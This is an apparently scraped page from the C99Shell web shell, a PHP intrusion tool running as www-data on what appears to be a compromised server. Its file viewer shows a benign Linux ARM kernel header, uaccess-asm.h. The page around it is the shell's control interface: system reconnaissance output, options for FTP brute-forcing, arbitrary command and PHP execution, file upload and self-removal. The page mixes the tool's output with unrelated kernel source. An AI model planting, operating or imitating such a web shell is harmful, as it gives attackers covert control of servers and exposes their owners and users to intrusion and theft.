!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-oracle-5.13-headers-5.13.0-1018/arch/arm/include/asm/   drwxr-xr-x
Free 83.22 GB of 96.73 GB (86.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     uaccess-asm.h (2.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0-only */

#ifndef __ASM_UACCESS_ASM_H__
#define __ASM_UACCESS_ASM_H__

#include <asm/asm-offsets.h>
#include <asm/domain.h>
#include <asm/memory.h>
#include <asm/thread_info.h>

    .macro    csdb
#ifdef CONFIG_THUMB2_KERNEL
    .inst.w    0xf3af8014
#else
    .inst    0xe320f014
#endif
    .endm

    .macro check_uaccess, addr:req, size:req, limit:req, tmp:req, bad:req
#ifndef CONFIG_CPU_USE_DOMAINS
    adds    \tmp, \addr, #\size - 1
    sbcscc    \tmp, \tmp, \limit
    bcs    \bad
#ifdef CONFIG_CPU_SPECTRE
    movcs    \addr, #0
    csdb
#endif
#endif
    .endm

    .macro uaccess_mask_range_ptr, addr:req, size:req, limit:req, tmp:req
#ifdef CONFIG_CPU_SPECTRE
    sub    \tmp, \limit, #1
    subs    \tmp, \tmp, \addr    @ tmp = limit - 1 - addr
    addhs    \tmp, \tmp, #1        @ if (tmp >= 0) {
    subshs    \tmp, \tmp, \size    @ tmp = limit - (addr + size) }
    movlo    \addr, #0        @ if (tmp < 0) addr = NULL
    csdb
#endif
    .endm

    .macro    uaccess_disable, tmp, isb=1
#ifdef CONFIG_CPU_SW_DOMAIN_PAN
    /*
     * Whenever we re-enter userspace, the domains should always be
     * set appropriately.
     */
    mov    \tmp, #DACR_UACCESS_DISABLE
    mcr    p15, 0, \tmp, c3, c0, 0        @ Set domain register
    .if    \isb
    instr_sync
    .endif
#endif
    .endm

    .macro    uaccess_enable, tmp, isb=1
#ifdef CONFIG_CPU_SW_DOMAIN_PAN
    /*
     * Whenever we re-enter userspace, the domains should always be
     * set appropriately.
     */
    mov    \tmp, #DACR_UACCESS_ENABLE
    mcr    p15, 0, \tmp, c3, c0, 0
    .if    \isb
    instr_sync
    .endif
#endif
    .endm

#if defined(CONFIG_CPU_SW_DOMAIN_PAN) || defined(CONFIG_CPU_USE_DOMAINS)
#define DACR(x...)    x
#else
#define DACR(x...)
#endif

    /*
     * Save the address limit on entry to a privileged exception.
     *
     * If we are using the DACR for kernel access by the user accessors
     * (CONFIG_CPU_USE_DOMAINS=y), always reset the DACR kernel domain
     * back to client mode, whether or not \disable is set.
     *
     * If we are using SW PAN, set the DACR user domain to no access
     * if \disable is set.
     */
    .macro    uaccess_entry, tsk, tmp0, tmp1, tmp2, disable
    ldr    \tmp1, [\tsk, #TI_ADDR_LIMIT]
    ldr    \tmp2, =TASK_SIZE
    str    \tmp2, [\tsk, #TI_ADDR_LIMIT]
 DACR(    mrc    p15, 0, \tmp0, c3, c0, 0)
 DACR(    str    \tmp0, [sp, #SVC_DACR])
    str    \tmp1, [sp, #SVC_ADDR_LIMIT]
    .if \disable && IS_ENABLED(CONFIG_CPU_SW_DOMAIN_PAN)
    /* kernel=client, user=no access */
    mov    \tmp2, #DACR_UACCESS_DISABLE
    mcr    p15, 0, \tmp2, c3, c0, 0
    instr_sync
    .elseif IS_ENABLED(CONFIG_CPU_USE_DOMAINS)
    /* kernel=client */
    bic    \tmp2, \tmp0, #domain_mask(DOMAIN_KERNEL)
    orr    \tmp2, \tmp2, #domain_val(DOMAIN_KERNEL, DOMAIN_CLIENT)
    mcr    p15, 0, \tmp2, c3, c0, 0
    instr_sync
    .endif
    .endm

    /* Restore the user access state previously saved by uaccess_entry */
    .macro    uaccess_exit, tsk, tmp0, tmp1
    ldr    \tmp1, [sp, #SVC_ADDR_LIMIT]
 DACR(    ldr    \tmp0, [sp, #SVC_DACR])
    str    \tmp1, [\tsk, #TI_ADDR_LIMIT]
 DACR(    mcr    p15, 0, \tmp0, c3, c0, 0)
    .endm

#undef DACR

#endif /* __ASM_UACCESS_ASM_H__ */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0099 ]--